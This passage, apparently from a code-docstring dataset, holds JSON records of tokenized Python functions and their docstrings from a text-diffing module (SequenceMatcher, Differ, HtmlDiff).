None,('<STR_LIT>','<STR_LIT:\\n>'),True<EOL><DEDENT>while(num_blanks_to_yield > <NUM_LIT:0>):<EOL><INDENT>num_blanks_to_yield -= <NUM_LIT:1><EOL>yield ('<STR_LIT>','<STR_LIT:\\n>'),None,True<EOL><DEDENT>if s.startswith('<STR_LIT:X>'):<EOL><INDENT>raise StopIteration<EOL><DEDENT>else:<EOL><INDENT>yield from_line,to_line,True<EOL><DEDENT><DEDENT><DEDENT>def _line_pair_iterator():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>line_iterator = _line_iterator()<EOL>fromlines,tolines=[],[]<EOL>while True:<EOL><INDENT>while (len(fromlines)==<NUM_LIT:0> or len(tolines)==<NUM_LIT:0>):<EOL><INDENT>from_line, to_line, found_diff =next(line_iterator)<EOL>if from_line is not None:<EOL><INDENT>fromlines.append((from_line,found_diff))<EOL><DEDENT>if to_line is not None:<EOL><INDENT>tolines.append((to_line,found_diff))<EOL><DEDENT><DEDENT>from_line, fromDiff = fromlines.pop(<NUM_LIT:0>)<EOL>to_line, to_diff = tolines.pop(<NUM_LIT:0>)<EOL>yield (from_line,to_line,fromDiff or to_diff)<EOL><DEDENT><DEDENT>line_pair_iterator = _line_pair_iterator()<EOL>if context is None:<EOL><INDENT>while True:<EOL><INDENT>yield next(line_pair_iterator)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>context += <NUM_LIT:1><EOL>lines_to_write = <NUM_LIT:0><EOL>while True:<EOL><INDENT>index, contextLines = <NUM_LIT:0>, [None]*(context)<EOL>found_diff = False<EOL>while(found_diff is False):<EOL><INDENT>from_line, to_line, found_diff = next(line_pair_iterator)<EOL>i = index % context<EOL>contextLines[i] = (from_line, to_line, found_diff)<EOL>index += <NUM_LIT:1><EOL><DEDENT>if index > context:<EOL><INDENT>yield None, None, None<EOL>lines_to_write = context<EOL><DEDENT>else:<EOL><INDENT>lines_to_write = index<EOL>index = <NUM_LIT:0><EOL><DEDENT>while(lines_to_write):<EOL><INDENT>i = index % context<EOL>index += <NUM_LIT:1><EOL>yield contextLines[i]<EOL>lines_to_write -= <NUM_LIT:1><EOL><DEDENT>lines_to_write = context-<NUM_LIT:1><EOL>while(lines_to_write):<EOL><INDENT>from_line, to_line, found_diff = next(line_pair_iterator)<EOL>if found_diff:<EOL><INDENT>lines_to_write = context-<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>lines_to_write -= <NUM_LIT:1><EOL><DEDENT>yield from_line, to_line, found_diff<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "r\"\"\"Returns generator yielding marked up from/to side by side differences.\n\n    Arguments:\n    fromlines -- list of text lines to compared to tolines\n    tolines -- list of text lines to be compared to fromlines\n    context -- number of context lines to display on each side of difference,\n               if None, all from/to text lines will be generated.\n    linejunk -- passed on to ndiff (see ndiff documentation)\n    charjunk -- passed on to ndiff (see ndiff documentation)\n\n    This function returns an iterator which returns a tuple:\n    (from line tuple, to line tuple, boolean flag)\n\n    from/to line tuple -- (line num, line text)\n        line num -- integer or None (to indicate a context separation)\n        line text -- original line text with following markers inserted:\n            '\\0+' -- marks start of added text\n            '\\0-' -- marks start of deleted text\n            '\\0^' -- marks start of changed text\n            '\\1' -- marks end of added/deleted/changed text\n\n    boolean flag -- None indicates context separation, True indicates\n        either \"from\" or \"to\" line contains a change, otherwise False.\n\n    This function/iterator was originally developed to generate side by side\n    file difference for making HTML pages (see HtmlDiff class for example\n    usage).\n\n    Note, this function utilizes the ndiff function to generate the side by\n    side difference markup.  Optional ndiff arguments may be passed to this\n    function and they in turn will be passed to ndiff.", "id": "f16407:m11"}
{"signature": "def restore(delta, which):", "body": "try:<EOL><INDENT>tag = {<NUM_LIT:1>: \"<STR_LIT>\", <NUM_LIT:2>: \"<STR_LIT>\"}[int(which)]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>% which)<EOL><DEDENT>prefixes = (\"<STR_LIT:U+0020>\", tag)<EOL>for line in delta:<EOL><INDENT>if line[:<NUM_LIT:2>] in prefixes:<EOL><INDENT>yield line[<NUM_LIT:2>:]<EOL><DEDENT><DEDENT>", "docstring": "r\"\"\"\n    Generate one of the two sequences that generated a delta.\n\n    Given a `delta` produced by `Differ.compare()` or `ndiff()`, extract\n    lines originating from file 1 or 2 (parameter `which`), stripping off line\n    prefixes.\n\n    Examples:\n\n    >>> diff = ndiff('one\\ntwo\\nthree\\n'.splitlines(1),\n    ...              'ore\\ntree\\nemu\\n'.splitlines(1))\n    >>> diff = list(diff)\n    >>> print ''.join(restore(diff, 1)),\n    one\n    two\n    three\n    >>> print ''.join(restore(diff, 2)),\n    ore\n    tree\n    emu", "id": "f16407:m12"}
{"signature": "def __new__(_cls, a, b, size):", "body": "return _tuple.__new__(_cls, (a, b, size))<EOL>", "docstring": "Create new instance of Match(a, b, size)", "id": "f16407:c0:m0"}
{"signature": "def _make(cls, iterable, new=tuple.__new__, len=len):", "body": "result = new(cls, iterable)<EOL>if len(result) != <NUM_LIT:3>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(result))<EOL><DEDENT>return result<EOL>", "docstring": "Make a new Match object from a sequence or iterable", "id": "f16407:c0:m1"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % self<EOL>", "docstring": "Return a nicely formatted representation string", "id": "f16407:c0:m2"}
{"signature": "def _asdict(self):", "body": "return OrderedDict(list(zip(self._fields, self)))<EOL>", "docstring": "Return a new OrderedDict which maps field names to their values", "id": "f16407:c0:m3"}
{"signature": "def _replace(_self, **kwds):", "body": "result = _self._make(list(map(kwds.pop, ('<STR_LIT:a>', '<STR_LIT:b>', '<STR_LIT:size>'), _self)))<EOL>if kwds:<EOL><INDENT>raise ValueError('<STR_LIT>' % list(kwds.keys()))<EOL><DEDENT>return result<EOL>", "docstring": "Return a new Match object replacing specified fields with new values", "id": "f16407:c0:m4"}
{"signature": "def __getnewargs__(self):", "body": "return tuple(self)<EOL>", "docstring": "Return self as a plain tuple.  Used by copy and pickle.", "id": "f16407:c0:m5"}
{"signature": "def __getstate__(self):", "body": "pass<EOL>", "docstring": "Exclude the OrderedDict from pickling", "id": "f16407:c0:m6"}
{"signature": "def __init__(self, isjunk=None, a='<STR_LIT>', b='<STR_LIT>', autojunk=True):", "body": "<EOL>self.isjunk = isjunk<EOL>self.a = self.b = None<EOL>self.autojunk = autojunk<EOL>self.set_seqs(a, b)<EOL>", "docstring": "Construct a SequenceMatcher.\n\n        Optional arg isjunk is None (the default), or a one-argument\n        function that takes a sequence element and returns true iff the\n        element is junk.  None is equivalent to passing \"lambda x: 0\", i.e.\n        no elements are considered to be junk.  For example, pass\n            lambda x: x in \" \\\\t\"\n        if you're comparing lines as sequences of characters, and don't\n        want to synch up on blanks or hard tabs.\n\n        Optional arg a is the first of two sequences to be compared.  By\n        default, an empty string.  The elements of a must be hashable.  See\n        also .set_seqs() and .set_seq1().\n\n        Optional arg b is the second of two sequences to be compared.  By\n        default, an empty string.  The elements of b must be hashable. See\n        also .set_seqs() and .set_seq2().\n\n        Optional arg autojunk should be set to False to disable the\n        \"automatic junk heuristic\" that treats popular elements as junk\n        (see module documentation for more information).", "id": "f16407:c1:m0"}
{"signature": "def set_seqs(self, a, b):", "body": "self.set_seq1(a)<EOL>self.set_seq2(b)<EOL>", "docstring": "Set the two sequences to be compared.\n\n        >>> s = SequenceMatcher()\n        >>> s.set_seqs(\"abcd\", \"bcde\")\n        >>> s.ratio()\n        0.75", "id": "f16407:c1:m1"}
{"signature": "def set_seq1(self, a):", "body": "if a is self.a:<EOL><INDENT>return<EOL><DEDENT>self.a = a<EOL>self.matching_blocks = self.opcodes = None<EOL>", "docstring": "Set the first sequence to be compared.\n\n        The second sequence to be compared is not changed.\n\n        >>> s = SequenceMatcher(None, \"abcd\", \"bcde\")\n        >>> s.ratio()\n        0.75\n        >>> s.set_seq1(\"bcde\")\n        >>> s.ratio()\n        1.0\n        >>>\n\n        SequenceMatcher computes and caches detailed information about the\n        second sequence, so if you want to compare one sequence S against\n        many sequences, use .set_seq2(S) once and call .set_seq1(x)\n        repeatedly for each of the other sequences.\n\n        See also set_seqs() and set_seq2().", "id": "f16407:c1:m2"}
{"signature": "def set_seq2(self, b):", "body": "if b is self.b:<EOL><INDENT>return<EOL><DEDENT>self.b = b<EOL>self.matching_blocks = self.opcodes = None<EOL>self.fullbcount = None<EOL>self.__chain_b()<EOL>", "docstring": "Set the second sequence to be compared.\n\n        The first sequence to be compared is not changed.\n\n        >>> s = SequenceMatcher(None, \"abcd\", \"bcde\")\n        >>> s.ratio()\n        0.75\n        >>> s.set_seq2(\"abcd\")\n        >>> s.ratio()\n        1.0\n        >>>\n\n        SequenceMatcher computes and caches detailed information about the\n        second sequence, so if you want to compare one sequence S against\n        many sequences, use .set_seq2(S) once and call .set_seq1(x)\n        repeatedly for each of the other sequences.\n\n        See also set_seqs() and set_seq1().", "id": "f16407:c1:m3"}
{"signature": "def find_longest_match(self, alo, ahi, blo, bhi):", "body": "<EOL>a, b, b2j, isbjunk = self.a, self.b, self.b2j, self.isbjunk<EOL>besti, bestj, bestsize = alo, blo, <NUM_LIT:0><EOL>j2len = {}<EOL>nothing = []<EOL>for i in range(alo, ahi):<EOL><INDENT>j2lenget = j2len.get<EOL>newj2len = {}<EOL>for j in b2j.get(a[i], nothing):<EOL><INDENT>if j < blo:<EOL><INDENT>continue<EOL><DEDENT>if j >= bhi:<EOL><INDENT>break<EOL><DEDENT>k = newj2len[j] = j2lenget(j-<NUM_LIT:1>, <NUM_LIT:0>) + <NUM_LIT:1><EOL>if k > bestsize:<EOL><INDENT>besti, bestj, bestsize = i-k+<NUM_LIT:1>, j-k+<NUM_LIT:1>, k<EOL><DEDENT><DEDENT>j2len = newj2len<EOL><DEDENT>while besti > alo and bestj > blo andnot isbjunk(b[bestj-<NUM_LIT:1>]) anda[besti-<NUM_LIT:1>] == b[bestj-<NUM_LIT:1>]:<EOL><INDENT>besti, bestj, bestsize = besti-<NUM_LIT:1>, bestj-<NUM_LIT:1>, bestsize+<NUM_LIT:1><EOL><DEDENT>while besti+bestsize < ahi and bestj+bestsize < bhi andnot isbjunk(b[bestj+bestsize]) anda[besti+bestsize] == b[bestj+bestsize]:<EOL><INDENT>bestsize += <NUM_LIT:1><EOL><DEDENT>while besti > alo and bestj > blo andisbjunk(b[bestj-<NUM_LIT:1>]) anda[besti-<NUM_LIT:1>] == b[bestj-<NUM_LIT:1>]:<EOL><INDENT>besti, bestj, bestsize = besti-<NUM_LIT:1>, bestj-<NUM_LIT:1>, bestsize+<NUM_LIT:1><EOL><DEDENT>while besti+bestsize < ahi and bestj+bestsize < bhi andisbjunk(b[bestj+bestsize]) anda[besti+bestsize] == b[bestj+bestsize]:<EOL><INDENT>bestsize = bestsize + <NUM_LIT:1><EOL><DEDENT>return Match(besti, bestj, bestsize)<EOL>", "docstring": "Find longest matching block in a[alo:ahi] and b[blo:bhi].\n\n        If isjunk is not defined:\n\n        Return (i,j,k) such that a[i:i+k] is equal to b[j:j+k], where\n            alo <= i <= i+k <= ahi\n            blo <= j <= j+k <= bhi\n        and for all (i',j',k') meeting those conditions,\n            k >= k'\n            i <= i'\n            and if i == i', j <= j'\n\n        In other words, of all maximal matching blocks, return one that\n        starts earliest in a, and of all those maximal matching blocks that\n        start earliest in a, return the one that starts earliest in b.\n\n        >>> s = SequenceMatcher(None, \" abcd\", \"abcd abcd\")\n        >>> s.find_longest_match(0, 5, 0, 9)\n        Match(a=0, b=4, size=5)\n\n        If isjunk is defined, first the longest matching block is\n        determined as above, but with the additional restriction that no\n        junk element appears in the block.  Then that block is extended as\n        far as possible by matching (only) junk elements on both sides.  So\n        the resulting block never matches on junk except as identical junk\n        happens to be adjacent to an \"interesting\" match.\n\n        Here's the same example as before, but considering blanks to be\n        junk.  That prevents \" abcd\" from matching the \" abcd\" at the tail\n        end of the second sequence directly.  Instead only the \"abcd\" can\n        match, and matches the leftmost \"abcd\" in the second sequence:\n\n        >>> s = SequenceMatcher(lambda x: x==\" \", \" abcd\", \"abcd abcd\")\n        >>> s.find_longest_match(0, 5, 0, 9)\n        Match(a=1, b=0, size=4)\n\n        If no blocks match, return (alo, blo, 0).\n\n        >>> s = SequenceMatcher(None, \"ab\", \"c\")\n        >>> s.find_longest_match(0, 2, 0, 1)\n        Match(a=0, b=0, size=0)", "id": "f16407:c1:m5"}
{"signature": "def get_matching_blocks(self):", "body": "if self.matching_blocks is not None:<EOL><INDENT>return self.matching_blocks<EOL><DEDENT>la, lb = len(self.a), len(self.b)<EOL>queue = [(<NUM_LIT:0>, la, <NUM_LIT:0>, lb)]<EOL>matching_blocks = []<EOL>while queue:<EOL><INDENT>alo, ahi, blo, bhi = queue.pop()<EOL>i, j, k = x = self.find_longest_match(alo, ahi, blo, bhi)<EOL>if k:   <EOL><INDENT>matching_blocks.append(x)<EOL>if alo < i and blo < j:<EOL><INDENT>queue.append((alo, i, blo, j))<EOL><DEDENT>if i+k < ahi and j+k < bhi:<EOL><INDENT>queue.append((i+k, ahi, j+k, bhi))<EOL><DEDENT><DEDENT><DEDENT>matching_blocks.sort()<EOL>i1 = j1 = k1 = <NUM_LIT:0><EOL>non_adjacent = []<EOL>for i2, j2, k2 in matching_blocks:<EOL><INDENT>if i1 + k1 == i2 and j1 + k1 == j2:<EOL><INDENT>k1 += k2<EOL><DEDENT>else:<EOL><INDENT>if k1:<EOL><INDENT>non_adjacent.append((i1, j1, k1))<EOL><DEDENT>i1, j1, k1 = i2, j2, k2<EOL><DEDENT><DEDENT>if k1:<EOL><INDENT>non_adjacent.append((i1, j1, k1))<EOL><DEDENT>non_adjacent.append( (la, lb, <NUM_LIT:0>) )<EOL>self.matching_blocks = list(map(Match._make, non_adjacent))<EOL>return self.matching_blocks<EOL>", "docstring": "Return list of triples describing matching subsequences.\n\n        Each triple is of the form (i, j, n), and means that\n        a[i:i+n] == b[j:j+n].  The triples are monotonically increasing in\n        i and in j.  New in Python 2.5, it's also guaranteed that if\n        (i, j, n) and (i', j', n') are adjacent triples in the list, and\n        the second is not the last triple in the list, then i+n != i' or\n        j+n != j'.  IOW, adjacent triples never describe adjacent equal\n        blocks.\n\n        The last triple is a dummy, (len(a), len(b), 0), and is the only\n        triple with n==0.\n\n        >>> s = SequenceMatcher(None, \"abxcd\", \"abcd\")\n        >>> s.get_matching_blocks()\n        [Match(a=0, b=0, size=2), Match(a=3, b=2, size=2), Match(a=5, b=4, size=0)]", "id": "f16407:c1:m6"}
{"signature": "def get_opcodes(self):", "body": "if self.opcodes is not None:<EOL><INDENT>return self.opcodes<EOL><DEDENT>i = j = <NUM_LIT:0><EOL>self.opcodes = answer = []<EOL>for ai, bj, size in self.get_matching_blocks():<EOL><INDENT>tag = '<STR_LIT>'<EOL>if i < ai and j < bj:<EOL><INDENT>tag = '<STR_LIT:replace>'<EOL><DEDENT>elif i < ai:<EOL><INDENT>tag = '<STR_LIT>'<EOL><DEDENT>elif j < bj:<EOL><INDENT>tag = '<STR_LIT>'<EOL><DEDENT>if tag:<EOL><INDENT>answer.append( (tag, i, ai, j, bj) )<EOL><DEDENT>i, j = ai+size, bj+size<EOL>if size:<EOL><INDENT>answer.append( ('<STR_LIT>', ai, i, bj, j) )<EOL><DEDENT><DEDENT>return answer<EOL>", "docstring": "Return list of 5-tuples describing how to turn a into b.\n\n        Each tuple is of the form (tag, i1, i2, j1, j2).  The first tuple\n        has i1 == j1 == 0, and remaining tuples have i1 == the i2 from the\n        tuple preceding it, and likewise for j1 == the previous j2.\n\n        The tags are strings, with these meanings:\n\n        'replace':  a[i1:i2] should be replaced by b[j1:j2]\n        'delete':   a[i1:i2] should be deleted.\n                    Note that j1==j2 in this case.\n        'insert':   b[j1:j2] should be inserted at a[i1:i1].\n                    Note that i1==i2 in this case.\n        'equal':    a[i1:i2] == b[j1:j2]\n\n        >>> a = \"qabxcd\"\n        >>> b = \"abycdf\"\n        >>> s = SequenceMatcher(None, a, b)\n        >>> for tag, i1, i2, j1, j2 in s.get_opcodes():\n        ...    print (\"%7s a[%d:%d] (%s) b[%d:%d] (%s)\" %\n        ...           (tag, i1, i2, a[i1:i2], j1, j2, b[j1:j2]))\n         delete a[0:1] (q) b[0:0] ()\n          equal a[1:3] (ab) b[0:2] (ab)\n        replace a[3:4] (x) b[2:3] (y)\n          equal a[4:6] (cd) b[3:5] (cd)\n         insert a[6:6] () b[5:6] (f)", "id": "f16407:c1:m7"}
{"signature": "def get_grouped_opcodes(self, n=<NUM_LIT:3>):", "body": "codes = self.get_opcodes()<EOL>if not codes:<EOL><INDENT>codes = [(\"<STR_LIT>\", <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>)]<EOL><DEDENT>if codes[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>tag, i1, i2, j1, j2 = codes[<NUM_LIT:0>]<EOL>codes[<NUM_LIT:0>] = tag, max(i1, i2-n), i2, max(j1, j2-n), j2<EOL><DEDENT>if codes[-<NUM_LIT:1>][<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>tag, i1, i2, j1, j2 = codes[-<NUM_LIT:1>]<EOL>codes[-<NUM_LIT:1>] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n)<EOL><DEDENT>nn = n + n<EOL>group = []<EOL>for tag, i1, i2, j1, j2 in codes:<EOL><INDENT>if tag == '<STR_LIT>' and i2-i1 > nn:<EOL><INDENT>group.append((tag, i1, min(i2, i1+n), j1, min(j2, j1+n)))<EOL>yield group<EOL>group = []<EOL>i1, j1 = max(i1, i2-n), max(j1, j2-n)<EOL><DEDENT>group.append((tag, i1, i2, j1 ,j2))<EOL><DEDENT>if group and not (len(group)==<NUM_LIT:1> and group[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT>'):<EOL><INDENT>yield group<EOL><DEDENT>", "docstring": "Isolate change clusters by eliminating ranges with no changes.\n\n        Return a generator of groups with up to n lines of context.\n        Each group is in the same format as returned by get_opcodes().\n\n        >>> from pprint import pprint\n        >>> a = map(str, range(1,40))\n        >>> b = a[:]\n        >>> b[8:8] = ['i']     # Make an insertion\n        >>> b[20] += 'x'       # Make a replacement\n        >>> b[23:28] = []      # Make a deletion\n        >>> b[30] += 'y'       # Make another replacement\n        >>> pprint(list(SequenceMatcher(None,a,b).get_grouped_opcodes()))\n        [[('equal', 5, 8, 5, 8), ('insert', 8, 8, 8, 9), ('equal', 8, 11, 9, 12)],\n         [('equal', 16, 19, 17, 20),\n          ('replace', 19, 20, 20, 21),\n          ('equal', 20, 22, 21, 23),\n          ('delete', 22, 27, 23, 23),\n          ('equal', 27, 30, 23, 26)],\n         [('equal', 31, 34, 27, 30),\n          ('replace', 34, 35, 30, 31),\n          ('equal', 35, 38, 31, 34)]]", "id": "f16407:c1:m8"}
{"signature": "def ratio(self):", "body": "matches = reduce(lambda sum, triple: sum + triple[-<NUM_LIT:1>],<EOL>self.get_matching_blocks(), <NUM_LIT:0>)<EOL>return _calculate_ratio(matches, len(self.a) + len(self.b))<EOL>", "docstring": "Return a measure of the sequences' similarity (float in [0,1]).\n\n        Where T is the total number of elements in both sequences, and\n        M is the number of matches, this is 2.0*M / T.\n        Note that this is 1 if the sequences are identical, and 0 if\n        they have nothing in common.\n\n        .ratio() is expensive to compute if you haven't already computed\n        .get_matching_blocks() or .get_opcodes(), in which case you may\n        want to try .quick_ratio() or .real_quick_ratio() first to get an\n        upper bound.\n\n        >>> s = SequenceMatcher(None, \"abcd\", \"bcde\")\n        >>> s.ratio()\n        0.75\n        >>> s.quick_ratio()\n        0.75\n        >>> s.real_quick_ratio()\n        1.0", "id": "f16407:c1:m9"}
{"signature": "def quick_ratio(self):", "body": "<EOL>if self.fullbcount is None:<EOL><INDENT>self.fullbcount = fullbcount = {}<EOL>for elt in self.b:<EOL><INDENT>fullbcount[elt] = fullbcount.get(elt, <NUM_LIT:0>) + <NUM_LIT:1><EOL><DEDENT><DEDENT>fullbcount = self.fullbcount<EOL>avail = {}<EOL>availhas, matches = avail.__contains__, <NUM_LIT:0><EOL>for elt in self.a:<EOL><INDENT>if availhas(elt):<EOL><INDENT>numb = avail[elt]<EOL><DEDENT>else:<EOL><INDENT>numb = fullbcount.get(elt, <NUM_LIT:0>)<EOL><DEDENT>avail[elt] = numb - <NUM_LIT:1><EOL>if numb > <NUM_LIT:0>:<EOL><INDENT>matches = matches + <NUM_LIT:1><EOL><DEDENT><DEDENT>return _calculate_ratio(matches, len(self.a) + len(self.b))<EOL>", "docstring": "Return an upper bound on ratio() relatively quickly.\n\n        This isn't defined beyond that it is an upper bound on .ratio(), and\n        is faster to compute.", "id": "f16407:c1:m10"}
{"signature": "def real_quick_ratio(self):", "body": "la, lb = len(self.a), len(self.b)<EOL>return _calculate_ratio(min(la, lb), la + lb)<EOL>", "docstring": "Return an upper bound on ratio() very quickly.\n\n        This isn't defined beyond that it is an upper bound on .ratio(), and\n        is faster to compute than either .ratio() or .quick_ratio().", "id": "f16407:c1:m11"}
{"signature": "def __init__(self, linejunk=None, charjunk=None):", "body": "self.linejunk = linejunk<EOL>self.charjunk = charjunk<EOL>", "docstring": "Construct a text differencer, with optional filters.\n\nThe two optional keyword parameters are for filter functions:\n\n- `linejunk`: A function that should accept a single string argument,\n  and return true iff the string is junk. The module-level function\n  `IS_LINE_JUNK` may be used to filter out lines without visible\n  characters, except for at most one splat ('#').  It is recommended\n  to leave linejunk None; as of Python 2.3, the underlying\n  SequenceMatcher class has grown an adaptive notion of \"noise\" lines\n  that's better than any static definition the author has ever been\n  able to craft.\n\n- `charjunk`: A function that should accept a string of length 1. The\n  module-level function `IS_CHARACTER_JUNK` may be used to filter out\n  whitespace characters (a blank or tab; **note**: bad idea to include\n  newline in this!).  Use of IS_CHARACTER_JUNK is recommended.", "id": "f16407:c2:m0"}
{"signature": "def compare(self, a, b):", "body": "cruncher = SequenceMatcher(self.linejunk, a, b)<EOL>for tag, alo, ahi, blo, bhi in cruncher.get_opcodes():<EOL><INDENT>if tag == '<STR_LIT:replace>':<EOL><INDENT>g = self._fancy_replace(a, alo, ahi, b, blo, bhi)<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>g = self._dump('<STR_LIT:->', a, alo, ahi)<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>g = self._dump('<STR_LIT:+>', b, blo, bhi)<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>g = self._dump('<STR_LIT:U+0020>', a, alo, ahi)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (tag,))<EOL><DEDENT>for line in g:<EOL><INDENT>yield line<EOL><DEDENT><DEDENT>", "docstring": "r\"\"\"\n        Compare two sequences of lines; generate the resulting delta.\n\n        Each sequence must contain individual single-line strings ending with\n        newlines. Such sequences can be obtained from the `readlines()` method\n        of file-like objects.  The delta generated also consists of newline-\n        terminated strings, ready to be printed as-is via the writeline()\n        method of a file-like object.\n\n        Example:\n\n        >>> print ''.join(Differ().compare('one\\ntwo\\nthree\\n'.splitlines(1),\n        ...                                'ore\\ntree\\nemu\\n'.splitlines(1))),\n        - one\n        ?  ^\n        + ore\n        ?  ^\n        - two\n        - three\n        ?  -\n        + tree\n        + emu", "id": "f16407:c2:m1"}
{"signature": "def _dump(self, tag, x, lo, hi):", "body": "for i in range(lo, hi):<EOL><INDENT>yield '<STR_LIT>' % (tag, x[i])<EOL><DEDENT>", "docstring": "Generate comparison results for a same-tagged range.", "id": "f16407:c2:m2"}
{"signature": "def _fancy_replace(self, a, alo, ahi, b, blo, bhi):", "body": "<EOL>best_ratio, cutoff = <NUM_LIT>, <NUM_LIT><EOL>cruncher = SequenceMatcher(self.charjunk)<EOL>eqi, eqj = None, None   <EOL>for j in range(blo, bhi):<EOL><INDENT>bj = b[j]<EOL>cruncher.set_seq2(bj)<EOL>for i in range(alo, ahi):<EOL><INDENT>ai = a[i]<EOL>if ai == bj:<EOL><INDENT>if eqi is None:<EOL><INDENT>eqi, eqj = i, j<EOL><DEDENT>continue<EOL><DEDENT>cruncher.set_seq1(ai)<EOL>if cruncher.real_quick_ratio() > best_ratio andcruncher.quick_ratio() > best_ratio andcruncher.ratio() > best_ratio:<EOL><INDENT>best_ratio, best_i, best_j = cruncher.ratio(), i, j<EOL><DEDENT><DEDENT><DEDENT>if best_ratio < cutoff:<EOL><INDENT>if eqi is None:<EOL><INDENT>for line in self._plain_replace(a, alo, ahi, b, blo, bhi):<EOL><INDENT>yield line<EOL><DEDENT>return<EOL><DEDENT>best_i, best_j, best_ratio = eqi, eqj, <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>eqi = None<EOL><DEDENT>for line in self._fancy_helper(a, alo, best_i, b, blo, best_j):<EOL><INDENT>yield line<EOL><DEDENT>aelt, belt = a[best_i], b[best_j]<EOL>if eqi is None:<EOL><INDENT>atags = btags = \"<STR_LIT>\"<EOL>cruncher.set_seqs(aelt, belt)<EOL>for tag, ai1, ai2, bj1, bj2 in cruncher.get_opcodes():<EOL><INDENT>la, lb = ai2 - ai1, bj2 - bj1<EOL>if tag == '<STR_LIT:replace>':<EOL><INDENT>atags += '<STR_LIT>' * la<EOL>btags += '<STR_LIT>' * lb<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>atags += '<STR_LIT:->' * la<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>btags += '<STR_LIT:+>' * lb<EOL><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>atags += '<STR_LIT:U+0020>' * la<EOL>btags += '<STR_LIT:U+0020>' * lb<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % (tag,))<EOL><DEDENT><DEDENT>for line in self._qformat(aelt, belt, atags, btags):<EOL><INDENT>yield line<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield '<STR_LIT:U+0020>' + aelt<EOL><DEDENT>for line in self._fancy_helper(a, best_i+<NUM_LIT:1>, ahi, b, best_j+<NUM_LIT:1>, bhi):<EOL><INDENT>yield line<EOL><DEDENT>", "docstring": "r\"\"\"\n        When replacing one block of lines with another, search the blocks\n        for *similar* lines; the best-matching pair (if any) is used as a\n        synch point, and intraline difference marking is done on the\n        similar pair. Lots of work, but often worth it.\n\n        Example:\n\n        >>> d = Differ()\n        >>> results = d._fancy_replace(['abcDefghiJkl\\n'], 0, 1,\n        ...                            ['abcdefGhijkl\\n'], 0, 1)\n        >>> print ''.join(results),\n        - abcDefghiJkl\n        ?    ^  ^  ^\n        + abcdefGhijkl\n        ?    ^  ^  ^", "id": "f16407:c2:m4"}
{"signature": "def _qformat(self, aline, bline, atags, btags):", "body": "<EOL>common = min(_count_leading(aline, \"<STR_LIT:\\t>\"),<EOL>_count_leading(bline, \"<STR_LIT:\\t>\"))<EOL>common = min(common, _count_leading(atags[:common], \"<STR_LIT:U+0020>\"))<EOL>common = min(common, _count_leading(btags[:common], \"<STR_LIT:U+0020>\"))<EOL>atags = atags[common:].rstrip()<EOL>btags = btags[common:].rstrip()<EOL>yield \"<STR_LIT>\" + aline<EOL>if atags:<EOL><INDENT>yield \"<STR_LIT>\" % (\"<STR_LIT:\\t>\" * common, atags)<EOL><DEDENT>yield \"<STR_LIT>\" + bline<EOL>if btags:<EOL><INDENT>yield \"<STR_LIT>\" % (\"<STR_LIT:\\t>\" * common, btags)<EOL><DEDENT>", "docstring": "r\"\"\"\n        Format \"?\" output and deal with leading tabs.\n\n        Example:\n\n        >>> d = Differ()\n        >>> results = d._qformat('\\tabcDefghiJkl\\n', '\\tabcdefGhijkl\\n',\n        ...                      '  ^ ^  ^      ', '  ^ ^  ^      ')\n        >>> for line in results: print repr(line)\n        ...\n        '- \\tabcDefghiJkl\\n'\n        '? \\t ^ ^  ^\\n'\n        '+ \\tabcdefGhijkl\\n'\n        '? \\t ^ ^  ^\\n'", "id": "f16407:c2:m6"}
{"signature": "def __init__(self,tabsize=<NUM_LIT:8>,wrapcolumn=None,linejunk=None,<EOL>charjunk=IS_CHARACTER_JUNK):", "body": "self._tabsize = tabsize<EOL>self._wrapcolumn = wrapcolumn<EOL>self._linejunk = linejunk<EOL>self._charjunk = charjunk<EOL>", "docstring": "HtmlDiff instance initializer\n\n        Arguments:\n        tabsize -- tab stop spacing, defaults to 8.\n        wrapcolumn -- column number where lines are broken and wrapped,\n            defaults to None where lines are not wrapped.\n        linejunk,charjunk -- keyword arguments passed into ndiff() (used to by\n            HtmlDiff() to generate the side by side HTML differences).  See\n            ndiff() documentation for argument default values and descriptions.", "id": "f16407:c3:m0"}
{"signature": "def make_file(self,fromlines,tolines,fromdesc='<STR_LIT>',todesc='<STR_LIT>',context=False,<EOL>numlines=<NUM_LIT:5>):", "body": "return self._file_template % dict(<EOL>styles = self._styles,<EOL>legend = self._legend,<EOL>table = self.make_table(fromlines,tolines,fromdesc,todesc,<EOL>context=context,numlines=numlines))<EOL>", "docstring": "Returns HTML file of side by side comparison with change highlights\n\n        Arguments:\n        fromlines -- list of \"from\" lines\n        tolines -- list of \"to\" lines\n        fromdesc -- \"from\" file column header string\n        todesc -- \"to\" file column header string\n        context -- set to True for contextual differences (defaults to False\n            which shows full differences).\n        numlines -- number of context lines.  When context is set True,\n            controls number of lines displayed before and after the change.\n            When context is False, controls the number of lines to place\n            the \"next\" link anchors before the next change (so click of\n            \"next\" link jumps to just before the change).", "id": "f16407:c3:m1"}
